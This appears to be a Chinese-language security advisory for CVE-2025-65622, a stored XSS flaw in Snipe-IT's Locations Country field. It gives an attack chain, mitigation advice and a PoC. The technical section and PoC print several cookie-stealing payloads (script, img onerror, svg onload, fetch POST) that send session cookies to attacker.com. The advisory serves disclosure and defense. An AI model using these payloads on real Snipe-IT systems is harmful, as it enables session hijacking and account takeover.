IPBUF安全漏洞报告
English
CVE-2025-65622 CVSS 5.4 中危

CVE-2025-65622: Snipe-IT 8.3.4前版本 Locations Country字段存储型XSS漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-65622
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Snipe-IT

相关标签

存储型XSSSnipe-ITCVE-2025-65622资产管理系统跨站脚本会话劫持输入验证不足Web安全

漏洞概述

CVE-2025-65622是Snipe-IT资产管理系统中的一个高危存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Snipe-IT 8.3.4之前版本的位置管理功能中,具体位于Locations模块的Country(国家)字段。攻击者利用该漏洞可以通过在Country字段中注入恶意的JavaScript代码,当其他用户访问或管理位置信息时,注入的恶意脚本会在受害者浏览器中执行。

由于该漏洞属于存储型XSS,恶意代码会被永久存储在系统数据库中,所有访问相关页面的用户都会受到攻击影响。攻击者利用此漏洞可以窃取受害者的会话Cookie、劫持用户会话、进行钓鱼攻击或执行其他恶意操作。漏洞的利用门槛相对较低,只需要低权限的认证用户即可实施攻击,但需要目标用户进行一定的交互操作(如访问位置管理页面)。

Snipe-IT是一款广泛使用的开源IT资产管理系统,在全球范围内被众多企业和组织采用。该系统用于跟踪和管理IT设备、软件许可证、配件等资产。由于系统通常存储敏感的组织信息和用户数据,此类XSS漏洞可能导致严重的安全后果,包括敏感信息泄露和账户被完全接管。

技术细节

该漏洞的技术原理涉及Snipe-IT应用在处理Locations模块中Country字段输入时的输入验证不足。系统在接收用户输入的国家/地区信息时,未对特殊字符和HTML/JavaScript标签进行充分的过滤和转义处理就直接存入数据库。当其他用户通过Web界面查看位置列表或详情页面时,系统从数据库中读取未经过滤的内容并直接渲染到HTML页面中,导致恶意JavaScript代码被浏览器解析执行。

具体攻击流程如下:1)攻击者以低权限用户身份登录Snipe-IT系统;2)导航到Locations管理功能模块;3)在创建或编辑位置时,在Country字段中注入恶意JavaScript代码,例如:<script>document.location='https://attacker.com/steal?c='+document.cookie</script>;4)系统将该恶意代码存入数据库;5)当管理员或其他用户访问位置管理页面时,恶意脚本在其浏览器中执行;6)攻击者通过窃取的Cookie实现会话劫持或获取其他敏感信息。

该漏洞的CVSS 3.1评分为5.4(中等严重程度),向量为AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N,表明攻击复杂度低、需要低权限、可通过网络利用,但需要用户交互且影响范围限于特定资源。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标组织使用的Snipe-IT系统版本,确认版本低于8.3.4
STEP 2
步骤2
初始访问:攻击者获取Snipe-IT系统的低权限账户(如普通员工账号)
STEP 3
步骤3
漏洞利用:攻击者登录系统后,导航至Locations模块,在Country字段中注入恶意JavaScript代码并保存
STEP 4
步骤4
存储恶意代码:系统将包含XSS payload的Country字段内容存入数据库,未进行充分的输入验证和输出编码
STEP 5
步骤5
触发执行:当管理员或具有更高权限的用户访问位置管理页面时,恶意脚本从数据库读取并在其浏览器中执行
STEP 6
步骤6
攻击成功:恶意脚本可窃取用户会话Cookie、劫持账户、进行钓鱼攻击或提取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-65622 PoC - Stored XSS in Snipe-IT Locations Country Field // This PoC demonstrates how to inject malicious JavaScript via the Country field // Step 1: Login to Snipe-IT with low-privileged account const loginEndpoint = 'https://target-snipeit.com/api/v1/auth/login'; const loginData = { email: '[email protected]', password: 'userpassword' }; // Step 2: Create or update a location with XSS payload in Country field const createLocationEndpoint = 'https://target-snipeit.com/api/v1/locations'; const locationData = { name: 'Test Location', country: '<script>alert(String.fromCharCode(88,83,83))</script>', // Alternative payloads: // '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>' // '<svg onload=fetch("https://attacker.com/log?data="+btoa(document.cookie))>' }; // Step 3: When admin or other users view the location, XSS executes // The injected script will run in their browser context // Example XSS payload for session hijacking: const sessionHijackPayload = ` <script> fetch('https://attacker.com/collect', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookie: document.cookie, url: window.location.href, referrer: document.referrer }) }); </script> `;

影响范围

Snipe-IT < 8.3.4

防御指南

临时缓解措施
临时缓解措施:在应用层实施输入过滤,对Country字段中的特殊字符(<>、"、'、&等)进行转义或拒绝;配置Web应用防火墙(WAF)规则检测和阻止XSS攻击向量;限制低权限用户创建和编辑位置信息的权限;监控和审计位置管理功能的访问日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表